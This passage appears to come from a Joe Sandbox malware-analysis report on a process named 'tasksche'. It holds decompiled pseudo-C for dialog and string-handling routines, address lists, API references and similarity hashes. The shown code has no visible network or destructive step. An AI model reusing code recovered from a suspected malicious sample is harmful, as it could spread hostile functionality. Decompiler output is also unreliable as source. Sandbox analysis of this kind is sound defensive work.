								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									_push(0x24);
									__eax = __ebp - 0x1440;
									_push(__ebp - 0x1440);
									__eax = __ebp - 0x4440;
									_push(__ebp - 0x4440);
									_push( *((intOrPtr*)(__ebp + 8)));
									__eax =  *0x42a30c();
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										_push(1);
										_push( *((intOrPtr*)(__ebp + 8)));
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax =  *0x42a32c();
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__eax = __ebp - 0x4440;
										_push(__ebp - 0x4440);
										_push( *((intOrPtr*)(__ebp + 8)));
										__eax =  *0x42a364();
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *((intOrPtr*)(__ebp + 8)));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, 0x42a92c, __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												_push(0);
												__eax = __ebp - 0xac90;
												_push(__ebp - 0xac90);
												_push(5);
												_push(0x1000);
												__eax =  *0x42a280();
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e99e
0x0040e9a6
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea62
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea70
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa5
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eab3
0x0040eaba
0x0040eabb
0x0040eac1
0x0040eac3
0x0040eac5
0x0040eac7
0x0040eacf
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4e
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebb2
0x0040ebb8
0x0040ebb9
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed66
0x0040ed68
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040eda7
0x0040edad
0x0040edae
0x0040edb0
0x0040edb5
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec53
0x0040ec54
0x0040ec56
0x0040ec58
0x0040ec5d
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec6c
0x0040ec6f
0x0040ec70
0x0040ec76
0x0040ec77
0x0040ec7a
0x0040ec7b
0x0040ec7d
0x0040ec82
0x0040ec85
0x0040ec8c
0x0040ec92
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eede
0x0040eee4
0x0040eee5
0x0040eeed
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef38
0x0040ef3e
0x0040ef3f
0x0040ef41
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f014
0x0040f016
0x0040f01c
0x0040f01d
0x0040f023
0x0040f024
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f036
0x0040f038
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f088
0x0040f08e
0x0040f08f
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e0
0x0040f3e2
0x0040f3e8
0x0040f3e9
0x0040f3eb
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,0042A9D0), ref: 0040ED8A

Strings

\, xrefs: 0040ECCB
", xrefs: 0040EBE1

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscat_wcscpy$H_prologMessageSendTextWindow_memset_realloc_wcsrchr
String ID: "$\
API String ID: 1592871480-1472051173
Opcode ID: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 32.2, APIs: 15, Strings: 3, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				signed int _t114;
				long _t115;
				long _t116;
				signed int* _t118;
				signed int* _t123;
				signed int _t127;
				int _t128;
				signed int _t145;
				signed int _t148;
				signed int _t161;
				signed int _t164;
				void* _t175;
				signed int _t178;
				signed int _t180;
				signed int _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				signed int _t201;
				signed int _t223;
				signed int _t225;
				signed int _t236;
				signed int _t248;
				void* _t250;
				void* _t251;
				void* _t252;
				signed int _t257;
				signed int _t261;
				signed int _t263;
				signed int _t268;
				signed int _t272;
				intOrPtr* _t302;
				int _t304;
				void* _t309;
				void* _t313;
				intOrPtr* _t314;
				struct HWND__* _t317;
				void* _t319;
				void* _t321;
				void* _t326;

				_t326 = __fp0;
				_t300 = __edx;
				_t284 = __ecx;
				E0041A4DC(0x4297db, _t319);
				E0041AAF0(0x9c94);
				_t317 =  *(_t319 + 8);
				_t112 = E004060EE(__edx, _t317,  *(_t319 + 0xc),  *(_t319 + 0x10),  *(_t319 + 0x14), 0x42abb0, 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t319 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t317;
						 *0x441844 = _t317;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t317, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
							SendDlgItemMessageW(_t317, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t300, __eflags, _t326, _t317);
						_t302 =  *0x42a2b4;
						_t118 =  *_t302(_t317, 0x68);
						 *(_t319 + 0x14) = _t118;
						 *0x42a33c(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t319 - 0x1164, 0x800);
						 *(_t319 + 0x10) =  *_t302(_t317, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t319 - 0x1164;
						}
						 *0x42a364( *(_t319 + 0x10), _t123);
						E00419CB2( *(_t319 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t317);
						 *0x441848 = 0; // executed
						E0040E75F(_t284, _t300, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							E0040E857(_t317, _t317,  *0x44184c, 7);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t304 = 1;
							__eflags = 1;
						} else {
							 *0x42a334(_t317, 0x6b, E0040C3BF(0xbf));
							_t304 = 1;
							 *0x42a334(_t317, 1, E0040C3BF(0xbe));
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									 *0x42a2ac( *(_t319 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t317, 0x67, 0);
									E004060AB(_t317, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t304);
										_push(0x111);
										_push(_t317);
										__eflags = _t127 - _t304;
										if(_t127 != _t304) {
											 *0x42a300();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									 *0x42a334(_t317, _t304, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t319 - 0x9688)) = 0;
